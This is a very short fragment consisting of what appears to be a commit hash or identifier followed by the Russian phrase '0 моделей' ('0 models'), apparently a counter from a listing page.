8d27fe7

0 моделей